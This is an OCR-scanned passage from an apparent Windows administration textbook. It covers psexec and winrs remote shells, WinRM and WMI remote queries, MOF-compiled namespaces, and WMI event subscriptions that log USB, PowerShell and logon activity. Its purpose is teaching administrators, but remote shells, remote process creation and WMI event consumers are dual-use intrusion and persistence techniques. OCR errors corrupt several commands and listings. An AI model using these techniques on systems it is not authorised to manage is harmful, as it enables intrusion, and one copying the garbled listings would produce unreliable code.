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CSISS 352 13 9 244 71004 3072 764
wininit 424 13 1 89 69984 3956 728
services 536 9 8 280 68904 8008 2736

... Output Deleted ...

The corresponding program to kill a remote process is pskill.
General information about the remote system is available through psin-fo.

Psexec

One of the most useful tools for a domain administrator is psexec. This tool allows the domain
administrator to run arbitrary commands on remote hosts and return the results. To enable
psexec, the remote system needs to allow access to SMB. If the system does not also allow access
to RPC, the tool will run but with noticeable delays.

As an example, a domain administrator that wants to see the network configuration of a
remote system can run

c:\Program Files\SysinternalsSuite>psexec \\drake ipconfig

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Windows IP Configuration
Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB0::6856:c178:8ael:7c15%5
IPv4 Address. . . . . . . . . . . : 10.0.15.204

Subnet Mask . . . . . . . . . .. : 255.255.0.0

Default Gateway . . . . . . . . . : 10.0.0.1

Tunnel adapter Reusable ISATAP Interface {46805C69-4BA7-4DD7-9C3B-B470E82EADA4}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix
ipconfig exited on drake with error code O.

Here the error code 0 indicates that the command completed successfully.
By running cmd on the remote system, the user obtains a remote interactive shell on the
target.
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c:\Program Files\SysinternalsSuiteshestname
brinton

c:\Program Files\SysinternalsSuite>psexec \\drake cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
Drake

Exit the remote shell with the command exit or by pressing CTRL+C.
Note that the Sysinternals suite does not need to be present on the remote system; it only
needs to be present on the local system.

Windows Remote Management (WinRM)

Windows Remote Management (WinRM) is an implementation of the WS-Management protocol.
It allows for the remote management of a system, including a tool that behaves similarly to
psexec.

Enabling WinRM; Firewall Rules

Windows Remote Management is a separate service that must be enabled on each host. By
default, it listens on TCP/5985, though it can also use TCP/5986. WinRM can be configured
through the command line on individual hosts, but it is simpler to do so via group policy for the
entire domain. To do so, create a new group policy object and edit it.

e Navigate Computer Configuration » Policies » Windows Settings
» Security Settings » System Services. Select the Windows Remote
Management Service (WS-Management) and configure it to start up
automatically.

e Navigate Computer Configuration » Preferences » Control Panel Settings
» Services. Configure a new Service (Figure 7-5). Choose the WinRM
service, set startup to Automatic, and the service action to Start Service.
Under the recovery tab, configure the computer to restart the service if it
fails.
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Figure 7-5. Configuring the WinRM service properties in the Group Policy Editor on
Windows Server 2008 R2

o Navigate Computer Configuration » Policies » Administrative Templates
» Windows Components » Windows Remote Management » WinRM
Service. On Windows Server 2012 or later, select the option “Allow remote
server management through WinRM.” On Windows Server 2008 R2, select
the option “Allow automatic configuration of listeners.” Enable it and
configure the IPv4 and IPv6 filters as appropriate. Note that if the filters are
left blank, the service will not listen on any address.

e Navigate Computer Configuration » Policies » Windows Settings »
Security Settings » Windows Firewall with Advanced Security » Windows
Firewall with Advanced Security » Inbound Rules. Create a new rule; from
the list of predefined rules select Windows Remote Management. This
allows traffic on TCP/5985.

Winrs

Once WinRM is running on a remote system, it is possible to use it to execute a command
remotely using the tool winrs. For example, to run ipconfig on the remote system named drake,
a domain administrator runs
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C:\Users\jbach>winrs -r:drake ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB0::6856:c178:8ael:7c15%5
IPv4 Address. . . . . . . . . .. : 10.0.15.204

Subnet Mask . . . . . . . . . . . ! 255.255.0.0

Default Gateway . . . . . . . . . : 10.0.0.1

Tunnel adapter Reusable ISATAP Interface {46805C69-4BA7-4DD7-9C3B-B470E82EADA4}:

Media State . . . . . . . . . .. : Media disconnected
Connection-specific DNS Suffix

It is also possible to obtain a fully interactive remote shell by choosing cmd. exe as the remote
command to run.

C:\Users\jbach>winrs -r:drake cmd.exe
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\jbach>hostname
hostname
drake

The remote shell is closed by the exit command.

PowerShell

If WinRM is enabled on the remote system, it is also possible to use PowerShell commands
directly on the remote system.

PS C:\Windows\system32> Enter-PSSession drake
[drake]: PS C:\Users\srevin\Documents> ipconfig

Windows IP Configuration
Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB0::6856:c178:8ael:7c15%5
IPv4 Address. . . . . . . . . .. : 10.0.15.204

Subnet Mask . . . . . . . . . . . ! 255.255.0.0

Default Gateway . . . . . . . . . : 10.0.0.1
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Tunnel adapter Reusable ISATAP Interface {46805C69-4BA7-4DD7-9C3B-B470E82EADA4}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

[drake]: PS C:\Users\srevin\Documents> hostname

drake

Although WinRM uses HTTP as its transport protocol, the transferred data is encrypted. It is
possible to configure WinRM to use HTTPS as its transport protocol; in this case, it runs by default
over TCP/5986.

WinRM can do more than execute commands on a remote system. It has access to a great
deal of information provided by WMI - Windows Management Instrumentation.

Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) is an implementation of Web-Based Enterprise
Management (WBEM). The WMI service accesses data stored using the Common Information
Model (CIM). Not only does this record data about the system’s hardware and software,

it also tracks the current state of the system, including its running processes and services.
Administrators can use WMI to query the state of the system and its processes. WMI can also be
used to control the system; for example, it can be used to start and stop processes. WMI allows
administrators to define events that are fired when a defined state occurs on the system; and
consumers, which are programs or scripts that are run when an event is fired.

WMI Structure

WMI is organized around a collection of WMI namespaces. One way to view the collection of
WMI namespaces on a system is to launch MMC and add the WMI Control snap-in. Right-click
on WMI Control in the navigation pane and select Properties; the security tab (Figure 7-6) shows
the structure of WMI.
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Figure 7-6. Using MMC to view the available WMI namespaces. Shown on Windows 10-1607.

A much better tool to explore WMI is WMI Explorer. The current version (2.2.79) is available
from SAPIEN Technologies at https://www.sapien.com/software/wmiexplorer and hasa
45-day trial, while version 2.0.0, including its source code, is available from https://github.com/
vinaypamnani/wmie2/releases.

The database for WMI is broken into namespaces. The most important namespace is \root\
cimv2; however, the namespaces \root\SecurityCenter2 and \root\subscription are also
significant. A namespace may possess sub-namespaces, like \root\cimv2\applications. Inside a
namespace are classes; on a Windows 10-1511 system, for example, the namespace \root\cimv2 has
418 different classes. Inside a class are one or more instances. Instances can have properties, which
store data about the instance; and methods, which allow actions to take place on that instance.

Consider Figure 7-7, which shows WMI Explorer 2.0.0 on a Windows 10-1511 system showing
the namespaces available on the system (named Brinton). The class Win32_Account is selected
from the namespace \root\cimv2; this class contains information about the accounts on the
system. One instance is selected, for the domain user PLUTO\gmahler, and the right side of the
tool shows properties of that user, including its SID, whether the account is locked out, whether
its password expires, and much more.
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The permanent objects in the WMI database are stored on the system by default in the file
C:\Windows\System32\wbem\Repository\OBJECTS.DATA. Configuration information for WMI
is stored in the registry in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM and in the WMI
database itself at \root\Cimv2\Win32_WMISetting.

Using WinRM to Query WMI

There are several tools that can be used to query WMI; these include PowerShell and the program
wmic. So long as the Windows Remote Management service is running on the target, another good
choice is winrm.

Using WinRM to Enumerate WMI Data

For example, to get the instances and properties for the instances from the class Win32_Account
in the namespace root\cimv2, a user can use winrm with the enumerate operation.

C:\Users\jbach>winxm enumerate wmi/root/cimv2/Win32_Account
Win32_Group

Caption = BRINTON\Access Control Assistance Operators

Description = Members of this group can remotely query authorization

attributes and permissions for resources on this computer.

Domain = BRINTON

InstallDate = null

LocalAccount = true

Name = Access Control Assistance Operators

SID = S-1-5-32-579

SIDType = 4

Status = OK

Win32_Group
Caption = BRINTON\Administrators
Description = Administrators have complete and unrestricted access to the
computer/domain
Domain = BRINTON

... Output Deleted ...

The enumerate operation can be abbreviated simply to e, and the namespace wmi/root/
cimv2 can be abbreviated to wnicimv2.

The result of this command are the accounts and groups on the system, including local and
domain accounts.
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These requests can be made of remote systems as well. Suppose that a domain administrator
wishes to see the services on the remote system named drake. Provided drake is running
Windows Remote Management and provided the proper port in the firewall is open (TCP/5985),
the administrator can run the command

C:\Users\jbach>winrm e wmicimv2/Win32_Service -r:drake
Win32_Service
AcceptPause = false
AcceptStop = false
Caption = AllJoyn Router Service
CheckPoint = 0
CreationClassName = Win32 Service
DelayedAutoStart = false
Description = Routes AllJoyn messages for the local AllJoyn clients. If
this service is stopped the AllJoyn clients that do not
have their own bundled routers will be unable to run.
DesktopInteract = false
DisplayName = AllJoyn Router Service
ErrorControl = Normal
ExitCode = 1077
InstallDate = null
Name = AJRouter
PathName = C:\Windows\system32\svchost.exe -k
LocalServiceNetworkRestricted
ProcessId = 0
ServiceSpecificExitCode = 0
ServiceType = Share Process
Started = false
StartMode = Manual
StartName = NT AUTHORITY\LocalService
State = Stopped
Status = OK
SystemCreationClassName = Win32_ComputerSystem
SystemName = DRAKE
Tagld = 0
WaitHint = 0
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Win32 Service
AcceptPause = false
AcceptStop = false
Caption = Application Layer Gateway Service

... Output Deleted ...

WMI Explorer can also connect to a remote system by selecting the remote hostname in the
computer box. Unlike WinRM, when WMI Explorer connects to a remote system, it uses RPC
(TCP/135 and a higher numbered dynamic TCP port) instead of the fixed TCP/5985 used by
WinRM.

Windows Query Language (WQL)

Careful examination of Figure 7-7 shows that the data shown seems to be from the SQL-like query
SELECT * FROM Win32_UserAccount WHERE Domain='PLUTO' AND Name='gmahler'.In fact, WMI
uses WQL (WMI Query Language), which is a subset of ANSI SQL. There are three general types
of queries in WQL: data queries, schema queries, and event queries. Data queries are the most
common and are used to read or set data values. Schema queries provide information about the
structure of WMI itself, while event queries are used to track activities that occur on the system.
WinRM can be used to execute WQL queries against local or remote systems.
For example, to find the processes on the remote system drake, a domain administrator can run

C:\Users\jbach>winrm e wmicimv2/* -r:drake -Filter:"Select * from Win32_Process"
Win32 Process
Caption = System Idle Process
CommandLine = null
CreationClassName = Win32 Process
CreationDate
Datetime = 2017-04-13T19:15:30.036354-07:00
CSCreationClassName = Win32_ ComputerSystem
CSName = DRAKE
Description = System Idle Process
ExecutablePath = null
ExecutionState = null

Handle = 0

HandleCount = 0

InstallDate = null
KernelModeTime = 48864687500
MaximumhWorkingSetSize = null
MinimumhWorkingSetSize = null

Name = System Idle Process
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OSCreationClassName = Win32_ OperatingSystem

OSName = Microsoft Windows 10 Pro|C:\Windows|\Device\Harddisko\Partition2
OtherOperationCount = 0

OtherTransferCount = 0

PageFaults = 1

PageFileUsage = 0

ParentProcessId = 0

PeakPageFileUsage
PeakVirtualSize = 0
PeakWorkingSetSize = 8
Priority = 0
PrivatePageCount = 0
ProcessId = 0

n
o

... Output Deleted ...

Win32_Process
Caption = System
CommandLine = null
CreationClassName = Win32_Process
CreationDate
Datetime = 2017-04-13T19:15:30.036354-07:00
CSCreationClassName = Win32_ComputerSystem

... Output Deleted ...

The WQL query is passed as a filter to an enumerate query over all the namespaces in
wmi/root/cimv2 rather than in a particular namespace.

As another example, if the administrator needs to determine whether Notepad is running on
the remote system drake, they can run a more targeted query.

C:\Users\jbach>winrm e wmicimv2/* -r:drake -Filter:"Select Caption,CommandLine,
ExecutablePath,ProcessID FROM Win32_Process WHERE Caption LIKE \"%notepad’%\""
XmlFragment

Caption = notepad++.exe

CommandLine = "C:\Program Files\Notepad++\notepad++.exe"

ExecutablePath = C:\Program Files\Notepad++\notepad++.exe

ProcessId = 5892

Here the WQL operator LIKE is used to see if the string is present in the result. Wildcards in
the name are denoted with ‘%’ Because the object of the LIKE operator is a string, it is enclosed in

quotes, and because the WQL query is already in quotes, these inner quotes are escaped.
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Similarly, to find the status of the Remote Registry service on the remote system drake, the
domain administrator can run

C:\Users\jbach>winxm e wmicimv2/* -r:drake -Filter:"Select Name,Description,
PathName,Started,StartMode,State,Status FROM Win32_Service WHERE
Name=\"RemoteRegistry\""
XmlFragment
Description = Enables remote users to modify registry settings on this
computer. If this service is stopped, the registry can be modified only
by users on this computer. If this service is disabled, any services that
explicitly depend on it will fail to start.
Name = RemoteRegistry
PathName = C:\Windows\system32\svchost.exe -k localService
Started = true
StartMode = Auto
State = Running
Status = OK

Using WinRM to Set WMI Values

The enumerate operation and the related get operation show the properties of an instance of a
class. However, it is also possible to change the values of parameters using the set operation. For
example, if the domain administrator wants to stop the Remote Registry service, it can be done
with the command

C:\Users\jbach>winxm set wmicimv2/Win32_Service?Name=RemoteRegistry
@{State="Stopped"} -r:drake
Win32 Service
AcceptPause = false
AcceptStop = true
Caption = Remote Registry
CheckPoint = 3
CreationClassName = Win32_Service
DelayedAutoStart = null
Description = Enables remote users to modify registry settings on this
computer. If this service is stopped, the registry can be modified only
by users on this computer. If this service is disabled, any services that
explicitly depend on it will fail to start.
DesktopInteract = false
DisplayName = Remote Registry
ErrorControl = Normal
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ExitCode = 1066

InstallDate = null

Name = RemoteRegistry

PathName = C:\Windows\system32\svchost.exe -k localService
ProcessId = 1040

ServiceSpecificExitCode = 0

ServiceType = Share Process

Started = true

StartMode = Auto

StartName = NT AUTHORITY\LocalService

State = Stop Pending

Status = Degraded

SystemCreationClassName = Win32_ComputerSystem
SystemName = DRAKE

Tagld = 0

WaitHint = 3000

To change the state of an instance, a set query is made for the class while the particular
instance to be changed is determined by using the ? operator. The property that is to be changed
is indicated with the @ symbol, and the braces enclose the name and new value of the property.

A subsequent check shows that the service has, in fact, stopped.

C:\Users\jbach>winrm e wmicimv2/* -r:drake -Filter:"Select Name,PathName,Started,
StartMode,State,Status from Win32_Service WHERE Name=\"RemoteRegistry\""
XmlFragment

Name = RemoteRegistry

PathName = C:\Windows\system32\svchost.exe -k localService

Started = false

StartMode = Auto

State = Stopped

Status = 0K

Using WinRM to Invoke WMI Methods

Another way to change the state of a WMI object is to use one of its available methods. Some,
though not all, WMI instances have methods. The methods available to an instance of a WMI
namespace can be found, for example, by examining the instance in WMI Explorer. Figure 7-7
shows that instances of the Win32_Account class have no associated methods.
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On the other hand, the Win32_Service class has 12 methods, including one aptly named
StartService. To start the remote registry service on the remote system drake, an administrator
can run the following.

C:\Users\jbach>winxm invoke startservice wmicimv2/Win32_Service?Name=RemoteRegistry
-r:drake
startservice OUTPUT

ReturnValue = 0

To use the method, the administrator uses winrm with the invoke operation and the name of
the method. As before, the particular instance of the class is specified using the ? operator.
The administrator can verify that the state of the service has changed via another WMI query.

C:\Users\jbach>winxm e wmicimv2/* -r:drake -Filter:"Select Name,PathName,Started,
StartMode,State,Status from Win32_Service WHERE Name=\"RemoteRegistry\""
XmlFragment

Name = RemoteRegistry

PathName = C:\Windows\system32\svchost.exe -k localService

Started = true

StartMode = Auto

State = Running

Status = OK

As another example, the class Win32_Process has seven methods; the create method can be
used to start a new process, even on the remote system drake.

C:\Users\jbach>winrm invoke create wmicimv2/Win32_Process @{CommandLine=
"C:\Program Files\Notepad++\notepad++.exe"} -r:drake
create OUTPUT

ProcessId = 5172

ReturnValue = 0

The syntax here is like the syntax for the set operation. The invoke operation requires a
command line; this is specified via the @ symbol and enclosed in braces.

Because the user jbach is on a remote system, there is no associated desktop for that user.
Consequently, even though the program notepad++.exe starts and runs, it does not appear on the
desktop for a user logged in locally on the remote system drake.

The remote process can be terminated as well. Doing so requires knowledge of the PID of the
process; however, this was provided as the output from the command that created the process.

C:\Users\jbach>winxm invoke terminate wmicimv2/Win32_Process?Handle=5172
-r:drake
terminate OUTPUT

ReturnValue = 0
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The examples so far have focused on the namespace \root\cimv2; however, there are other
namespaces with useful information. For example, one can determine the antivirus solution
deployed on a remote host with the command

C:\Users\jbach>winxm e wmi/root/SecurityCenter2/AntiVirusProduct -r:drake
AntiVirusProduct
displayName = Windows Defender
instanceGuid = {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
pathToSignedProductExe = %ProgramFiles%\Windows Defender\MSASCui.exe
pathToSignedReportingExe = %ProgramFiles%\Windows Defender\MsMpeng.exe
productState = 393472
timestamp = Sat, 04 Feb 2017 22:49:39 GMT

A list of interesting WMI classes is provided in the Notes and References.

Creating a WMI Namespace and Class

An administrator may decide to create a custom WMI namespace and class and populate the
class with instances. One way to do so is to create a .mof file and compile it with the command
mofcomp.exe. For example, consider Listing 7-1, named example.mof

Listing 7-1. Example.mof

// Example of a MOF file to create a namespace and two instances in WMI
#pragma namespace ("\\\\drake\\Root\\ExampleNamespace")

class ExampleClass

{
[Key] uint64 Id;
string ExampleString;
string ExampleArray [];
};
instance of ExampleClass
{
Id = 1;
ExampleString = "This is the data from Instance 1";
ExampleArray = {"Instance 1A", "Instance 1B"};
1
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instance of ExampleClass

{
Id = 2;
ExampleString = "This is the data from Instance 2";
ExampleArray = {"Instance 2A", "Instance 2B"};

1

This file begins with a comment, then specifies the name of the namespace to be used. If this
were to be created on the local system, the administrator would use a line like

#pragma namespace ("\\\\.\\Root\\ExampleNamespace")

In Listing 7-1, the administrator is specifying the name of the remote host (drake) for the
namespace, named ExampleNamespace.

The code continues with the definition of a class, named ExampleClass. This class has
three variables; the first, named ID, is a 64-bit unsigned integer and is used as the key for the
class. The class also contains the string named ExampleString and an array of strings, named
ExampleArray.

Two instances of the class are generated; each provides the values for each of the class variables.

To store the result in the namespace, the domain administrator runs mofcomp . exe, specifying
the file.

C:\Users\jbach>mofcomp Desktop\example.mof

Microsoft (R) MOF Compiler Version 10.0.10586.0

Copyright (c) Microsoft Corp. 1997-2006. All rights reserved.

Parsing MOF file: Desktop\example.mof

MOF file has been successfully parsed

Storing data in the repository...

WARNING: File Desktop\example.mof does not contain #PRAGMA AUTORECOVER.

If the WMI repository is rebuilt in the future, the contents of this MOF file will
not be included in the new WMI repository.

To include this MOF file when the WMI Repository is automatically reconstructed,
place the #PRAGMA AUTORECOVER statement on the first line of the MOF file.

Done!

Because Example.mof specifies a namespace on a different host, the remote system is
contacted using RPC. Once the process completes, the data can be viewed on the remote system.

C:\Users\jbach>winxm e wmi/root/ExampleNamespace/ExampleClass -r:drake
ExampleClass

ExampleArray = Instance 2A, Instance 2B

ExampleString = This is the data from Instance 2

Id = 2
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ExampleClass
ExampleArray = Instance 1A, Instance 1B
ExampleString = This is the data from Instance 1
Id =1

Because this information is stored using WMI, it does not appear directly in the file system on
drake, save through its presence in the WMI database itself.
Once created, the data in an instance can be updated.

C:\Users\jbach>winxrm set wmi/root/ExampleNamespace/ExampleClass?Id=2
@{ExampleString="Updated Example"} -r:drake
ExampleClass

ExampleArray = Instance 2A, Instance 2B

ExampleString = Updated Example

Id = 2
C:\Users\jbach>winxrm e wmi/root/ExampleNamespace/ExampleClass -r:drake
ExampleClass

ExampleArray = Instance 2A, Instance 2B

ExampleString = Updated Example

Id = 2
ExampleClass

ExampleArray = Instance 1A, Instance 1B

ExampleString = This is the data from Instance 1

Id =1

The administrator can delete an instance of the data stored in the WMI database with the
delete command.

C:\Users\jbach>winxm delete wmi/root/ExampleNamespace/ExampleClass?Id=1
-r:drake
C:\Users\jbach>winrm e wmi/root/ExampleNamespace/ExampleClass -r:drake
ExampleClass

ExampleArray = Instance 2A, Instance 2B

ExampleString = This is the data from Instance 2

Id = 2

To delete the complete namespace, as well as all classes and instances, the administrator can
create a file like delete.mof shown in Listing 7-2.
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Listing 7-2. Delete.mof
#pragma namespace("\\\\drake\\Root")

#pragma deleteinstance
(" __Namespace.Name="ExampleNamespace'", FAIL)

When this is compiled using mofcomp, the specified namespace is deleted on the remote
system drake; no warnings are given.

C:\Users\jbach>mofcomp Desktop\delete.mof

WMI Events

An administrator can use WMI to define events and to define consumers, which are actions that
take place when the event occurs.

WAQL Schema Queries

The WQL queries presented so far have been data queries. Schema queries ask for information
about the structure of WMI itself; for example, to identify the classes in the namespace \root\
cimv2 with “Process” in the class name, one can use winrm to execute the following WQL query.

C:\Users\jbach>winrm e wmicimv2/* -Filter:"SELECT * from Meta_Class WHERE __CLASS
LIKE \"%Process\""
CIM Process

Caption = null

CreationClassName = null

CreationDate = null

CSCreationClassName = null

CSName = null

Description = null

. Output Deleted ...

This is a schema query because it is a query for the object Meta_Class. Schema queries can
only be made for *, but they can be filtered with a WHERE clause. Here _ CLASS is a system property
that provides the name of the class.
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A more interesting schema query finds the events; this can be done through winrm with a
query like

C:\Users\jbach>winrm e wmicimv2/* -Filter:"SELECT * FROM Meta_Class WHERE __This
ISA \"__Event\""
__Event

TIME_CREATED = null
__ExtrinsicEvent
TIME_CREATED = null

Win32_DeviceChangeEvent
EventType = null
TIME_CREATED = null

... Output Deleted ...

System classes start with two underscores and are present in all namespaces. The events from
system classes are called intrinsic events, while non-system ones are called extrinsic events.

WMI events fire when particular activities occur, for example the extrinsic event \root\
cimv2\Win32_VolumeChangeEvent fires if a USB drive is added or removed from the system.

WMI Consumer Example: USB Connections

To use the information from an event, it must be connected to a consumer. Some useful
consumers are \root\subscription\CommandLineEventConsumer, \root\subscription\
LogFileEventConsumer, and \root\subscription\ActiveScriptEventConsumer. These
consumers allow a command-line program to be run, a log entry to be made, or a script to be
run in response to an event. As an example, consider Listing 7-3, which uses VBScript to record
information to a file whenever a USB device is plugged into the system.

Listing 7-3. The script usb.mof that uses VBScript to record information in a file every
time a USB device is inserted into the system.
#pragma namespace ("\\\\.\\root\\subscription")

instance of _ EventFilter as $Filter

{
Name = "USB";
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";
QuerylLanguage = "WQL";
EventNamespace = "root\\cimv2";
};
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instance of ActiveScriptEventConsumer as $Consumer

{
Name = "USB";
ScriptingEngine = "VBScript";
ScriptText =
"Dim file_obj, file\n"
"Set file obj = CreateObject(\"Scripting.FileSystemObject\")\n"
"Set file = file_obj.OpenTextFile(\"C:\\LogUSB.txt\",8, true)\n"
"file.WriteLine(\"New drive recognized \" & Now)\n"
"file.WriteLine(\" Drive Name: \" & TargetEvent.DriveName)\n"
"file.Close\n";
};
instance of _ FilterToConsumerBinding
{
Filter = $Filter;
Consumer = $Consumer;
};

The script is compiled on the system using mofcomp.
C:\Users\jbach>mofcomp Desktop\usb.mof

The script begins with an event filter named “USB,” which is the name of the resulting
instance; this instance can be found in \root\subscription.

C:\Users\jbach>winrm e wmi/root/subscription/* -Filter:"Select Name,Query
from __EventFilter where Name=\"USB\""

XmlFragment
Name = USB
Query = SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2

The WQL query in the filter in Listing 7-3 is an example of an event query, which fires
whenever a local device is added or removed from the system. The EventType is a characteristic
of this event; its value is 1 for a configuration change, 2 for the arrival of a device, 3 for the removal
of a device, and 4 for the docking of the system.?

Next, Listing 7-3 contains an instance of the ActiveScriptEventConsumer class. Like the
event, the name of the instance is set to “USB” and can be used to find the instance in the WMI
database.

*https://docs.microsoft.com/en-us/windows/desktop/CIMWin32Prov/win32-volumechangeevent
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C:\Users\jbach>winrm e wmi/root/subscription/* -Filter:"SELECT name,
scriptingengine from ActiveScriptEventConsumer WHERE name=\"USB\""
XmlFragment

Name = USB

ScriptingEngine = VBScript

The code in the ScriptText variable in Listing 7-3 is recognizable as VBScript; however, the
script is enclosed in quotation marks with manually included newlines. Note the implied string
concatenation and the need to escape quotes when used inside the script. The VBScript creates
and opens a file in the file system (C: \LogUSB. txt), then it writes to that file. Because the script is
called in response to an extrinsic event, it has access to the underlying event; this includes access
to the DriveName variable, which can then be used in the script.

The script concludes witha __FilterToConsumer binding, which instructs the system to
launch the consumer whenever the event occurs.

Then whenever a USB device is inserted, the file C: \LogUSB. txt is updated.

New drive recognized 4/15/2017 3:32:49 PM
Drive Name: E:

New drive recognized 4/15/2017 4:04:22 PM
Drive Name: E:

WMI Consumer Example: PowerShell Start or Stop

As a second example, it is possible to launch a script whenever a process is started or stopped.
Consider the script in Listing 7-4 that updates a log file whenever PowerShell is started or
stopped.

Listing 7-4. The script PSTrace.mof that tracks when PowerShell is started or stopped
#pragma namespace ("\\\\.\\root\\subscription")

instance of ActiveScriptEventConsumer as $ConsStart
{

Name = "PowerShellStarted2";

ScriptingEngine = "VBScript";

ScriptText =
"Dim file_obj, file\n"
"Set file obj = CreateObject(\"Scripting.FileSystemObject\")\n"
"Set file = file obj.OpenTextFile(\"C:\\LogProcess.txt\",8, true)\n"
"file.WriteLine(\"PowerShell Started \" & Now)\n"
"file.WriteLine(\" PID \" & TargetEvent.ProcessID)\n"
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"file.WriteLine(\" Parent PID \" & TargetEvent.ParentProcessID)\n"
"file.Close\n";

};

instance of ActiveScriptEventConsumer as $ConsStop
{

Name = "PowerShellStopped2";

ScriptingEngine = "VBScript";

ScriptText =
"Dim file_obj, file\n"
"Set file obj = CreateObject(\"Scripting.FileSystemObject\")\n"

"Set file = file obj.OpenTextFile(\"C:\\LogProcess.txt\",8, true)\n"
"file.WriteLine(\"PowerShell Stopped \" & Now)\n"
"file.WriteLine(\" PID \" & TargetEvent.ProcessID)\n"
"file.WriteLine(\" Parent PID \" & TargetEvent.ParentProcessID)\n"
"file.Close\n";

};

instance of _ EventFilter as $FiltStart
{
Name = "StartFilterProcess";
Query = "SELECT * FROM Win32_ ProcessStartTrace "
"WHERE ProcessName LIKE \"%powershell%\"";
QuerylLanguage = "WQL";
EventNamespace = "root\\cimv2";

};

instance of _ EventFilter as $FiltStop
{
Name = "StopFilterProcess";
Query = "SELECT * FROM Win32_ ProcessStopTrace "
"WHERE ProcessName LIKE \"%powershell%\"";
QuerylLanguage = "WQL";
EventNamespace = "root\\cimv2";

};

instance of _ FilterToConsumerBinding

{
Filter = $FiltStart;

Consumer = $ConsStart;

};
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instance of _ FilterToConsumerBinding
{

Filter = $FiltStop;

Consumer = $ConsStop;

b

Listing 7-4 is like Listing 7-3, but it contains two sets of filters, consumers, and bindings: one
for when PowerShell starts, and one for when it stops. The event filter uses root\cimv2\Win32_
ProcessStartTrace to detect when the process starts and root\cimv2\Win32_ProcessStopTrace
to detect when it ends. Further, because PowerShell can be run as the stand-alone executable
powershell.exe or through the integrated editor powershell ise.exe, the event query looks
only to see if the string “powershell” appears in the process name.

Compile the script using mofcomp. When this is done, the file C: \LogProcess.txt will begin
to record PowerShell use on the system with lines like

PowerShell Started 4/29/2018 6:42:09 PM
PID 2224
Parent PID 1368

PowerShell Stopped 4/29/2018 6:42:19 PM
PID 2224
Parent PID 0O

WMI Consumer Example: User Logon/Logoff

Although there are many extrinsic events, including ones that fire on changes in the registry or
when the system shuts down, not every interesting action has an existing extrinsic event. Since
most activities that occur on the system also make corresponding changes in the WMI database,
another approach is to look for changes in that database. Consider the script in Listing 7-5.

Listing 7-5. A script that records when users log on to a system
#pragma namespace ("\\\\.\\root\\subscription")

instance of _ EventFilter as $Filter
{
Name = "LogonFilter";
Query = "SELECT * FROM _ InstanceCreationEvent WITHIN 15"
"WHERE TargetInstance ISA \"Win32_LogonSession\" ";
Querylanguage = "WQOL";
EventNamespace = "root\\cimv2";

};
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instance of ActiveScriptEventConsumer as $Consumer
{

Name = "LogonConsumer";

ScriptingEngine = "VBScript";

ScriptText =

"Dim file_obj, file\n"
"Set file obj = CreateObject(\"Scripting.FileSystemObject\")\n"
"Set file = file_obj.OpenTextFile(\"C:\\Logon.txt\",8, true)\n"
"file.WriteLine(\"Logon Session \" & Now)\n"
"file.WriteLine(\"  Authentication: \" "

"8 TargetEvent.TargetInstance.AuthenticationPackage )\n
"file.WriteLine(\" Caption: \" "

"% TargetEvent.TargetInstance.Caption )\n"
"file.WriteLine(\" Description: \" "

"& TargetEvent.TargetInstance.Description )\n"
"file.WriteLine(\" LogonID: \" "

"8 TargetEvent.TargetInstance.LogonID )\n"
"file.WriteLine(\"  LogonType: \" "

"& TargetEvent.TargetInstance.LogonType )\n"
"file.WriteLine(\"  Name: \" "

"8& TargetEvent.TargetInstance.Name )\n"
"file.WriteLine(\" Status: \" "

"8 TargetEvent.TargetInstance.Status )\n"

// This completes writing the available data

"file.Close\n";
b5

instance of _ FilterToConsumerBinding
{

Filter = $Filter;

Consumer = $Consumer;

b

Like the previous scripts, this uses VBScript as the consumer; in this case, the script takes
the data available in an instance of the class root\cimv2\LogonSession and writes it to the file
C:\Logon.txt.

The major difference is in the event filter; it uses the system class __InstanceCreationEvent,
which reports additions to the WMI database. Unlike the extrinsic events seen previously, this
intrinsic event does not fire but instead is polled. The query in the script looks for changes in the
WMI database every 15 seconds that are caused by changes in the Win32_LogonSession class.
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This change also results in a change to the consumer; instead of using TargetEvent, it must use
TargetEvent.TargetInstance to access the data from the actual event. Finally, because this
is polled, it is possible to miss an event because the change is made and then unmade within
the polling time. If the polling time is shortened though, then the system consumes additional
resources checking for these events.

When this script is compiled and installed with mofcomp.exe, the file C: \logon. txt will
start recording logons. However, a check of the data shows little of value.
The logon time, type,* and authentication method are present, as well as a LogonlID, but little
else.

Logon Session 4/29/2018 6:52:43 PM
Authentication: Kerberos
Caption:

Description:
LogonID: 1058548
LogonType: 2
Name:

Status:

It would be useful to correlate the LogonID with the details of the corresponding user. This
can be done with an additional WQL query, using associators. The WQL statement ASSOCIATORS
OF returns the instances associated with a source. In the case at hand, the administrator would
like the instances of Win32_Account that are associated with the given LogonID.

Return to Listing 7-5, and in place of the comment indicating that this completes writing the
available data, add the following before the file.Close line (Listing 7-6).

Listing 7-6. Addition to Listing 7-5

"Set WMIService = GetObject(\"winmgmts:!\\\\.\\root\\cimv2\")\n"
"Set UserData = WMIService.ExecQuery(\"ASSOCIATORS OF "
"{Win32_LogonSession.LogonID=\" "
" & TargetEvent.TargetInstance.LogonID & \"} "
"WHERE ResultClass=Win32_UserAccount\")\n"
"For Each obj in UserData\n"
"file.WriteLine(\" Account Type: \" & obj.AccountType )\n"
"file.WriteLine(\" Caption: \" & obj.Caption )\n"
"file.WriteLine(\" Domain: \" & obj.Domain )\n"

“There are several logon types, including interactive (2), network (3), batch (4), and service (5). See https://
